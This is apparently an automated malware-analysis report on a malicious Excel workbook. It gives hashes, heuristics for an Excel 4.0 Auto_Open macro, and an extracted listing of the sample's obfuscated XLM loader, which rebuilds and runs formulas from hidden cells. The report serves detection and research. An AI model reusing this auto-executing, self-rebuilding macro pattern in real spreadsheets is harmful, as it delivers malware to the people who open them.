Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49f9efaaef9fb2bd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:27:38 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 8b33d6c3847d96af8a654af866cb00cb SHA-1: 1f9bd871f16cfe49ead29afd5f5dff81766bd8cd SHA-256: 49f9efaaef9fb2bdbcc5b314aa16a6fb028e992e03bab5dcc59f959db8890db8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6482 bytes
SHA-256: a9db879f73ce9ac9b3978c9805f10bfa5cbe099bc8842ab764477970a0a13d3d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eUJGhN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D156 
' 0018     23 LABEL : Cell Value, String Constant - buZnMRCb len=0 
' 0018     25 LABEL : Cell Value, String Constant - EJaAaEzymP len=0 
' 0018     27 LABEL : Cell Value, String Constant - ElrsGYMxnqdz len=0 
' 0018     24 LABEL : Cell Value, String Constant - fJLIKcZWP len=0 
' 0018     20 LABEL : Cell Value, String Constant - fNrnA len=0 
' 0018     20 LABEL : Cell Value, String Constant - FVnkN len=0 
' 0018     27 LABEL : Cell Value, String Constant - JFAArQvyBxQe len=0 
' 0018     22 LABEL : Cell Value, String Constant - JjRqgWk len=0 
' 0018     27 LABEL : Cell Value, String Constant - joNrdQmFEgIl len=0 
' 0018     22 LABEL : Cell Value, String Constant - lgyffHR len=0 
' 0018     25 LABEL : Cell Value, String Constant - ozJguIkfEK len=0 
' 0018     24 LABEL : Cell Value, String Constant - QZapfYPnV len=0 
' 0018     27 LABEL : Cell Value, String Constant - rMUKuPgwjBrO len=0 
' 0018     20 LABEL : Cell Value, String Constant - rwhWo len=0 
' 0018     25 LABEL : Cell Value, String Constant - UtQxzNdWZP len=0 
' 0018     20 LABEL : Cell Value, String Constant - WDeZh len=0 
' 0018     24 LABEL : Cell Value, String Constant - WHzZPaYRA len=0 
' 0018     20 LABEL : Cell Value, String Constant - wKRNg len=0 
' 0018     24 LABEL : Cell Value, String Constant - xiJBPIzJW len=0 
' 0018     23 LABEL : Cell Value, String Constant - XkfkvDiL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eUJGhN,D58,"SET.NAME("UtQxzNdWZP",VALUE("0"))",""
'  eUJGhN,D63,"SET.NAME("JFAArQvyBxQe",UtQxzNdWZP)",""
'  eUJGhN,D66,"SET.NAME("XkfkvDiL",UtQxzNdWZP)",""
'  eUJGhN,D70,"SET.NAME("FVnkN",COUNTA(ElrsGYMxnqdz))",""
'  eUJGhN,D74,"SET.NAME("rwhWo",COUNTA(buZnMRCb))",""
'  eUJGhN,D78,[],""
'  eUJGhN,D83,"SET.NAME("lgyffHR","")",""
'  eUJGhN,D85,"JFAArQvyBxQe",""
'  eUJGhN,D87,"SET.NAME("xiJBPIzJW",HLOOKUP("*",ElrsGYMxnqdz,JFAArQvyBxQe,FALSE))",""
'  eUJGhN,D91,"QZapfYPnV",""
'  eUJGhN,D95,"SET.NAME("EJaAaEzymP",UtQxzNdWZP)",""
'  eUJGhN,D99,[],""
'  eUJGhN,D104,"EJaAaEzymP",""
'  eUJGhN,D108,"rMUKuPgwjBrO",""
'  eUJGhN,D112,"fNrnA",""
'  eUJGhN,D115,"fJLIKcZWP",""
'  eUJGhN,D117,"SET.NAME("joNrdQmFEgIl",VALUE(HLOOKUP("*",buZnMRCb,fJLIKcZWP,FALSE)))",""
'  eUJGhN,D122,"WDeZh",""
'  eUJGhN,D126,"lgyffHR",""
'  eUJGhN,D131,"XkfkvDiL",""
'  eUJGhN,D136,NEXT(),""
'  eUJGhN,D141,"ozJguIkfEK",""
'  eUJGhN,D146,"SET.NAME("f",INT(T(FORMULA(T(lgyffHR)&"",""&T(ozJguIkfEK)))))",""
'  eUJGhN,D149,"JjRqgWk",""
'  eUJGhN,D151,NEXT(),""
'  eUJGhN,D153,RETURN(),""
'  eUJGhN,D183,"SET.NAME("wKRNg",D58)",""
'  eUJGhN,D186,"ElrsGYMxnqdz",""
'  eUJGhN,D189,"SET.NAME("buZnMRCb",R93C14)",""
'  eUJGhN,D193,"SET.NAME("JjRqgWk",202)",""
'  eUJGhN,D196,"SET.NAME("WHzZPaYRA",4)",""
'  eUJGhN,D201,wKRNg(),""
'  eUJGhN,D202,HALT(),""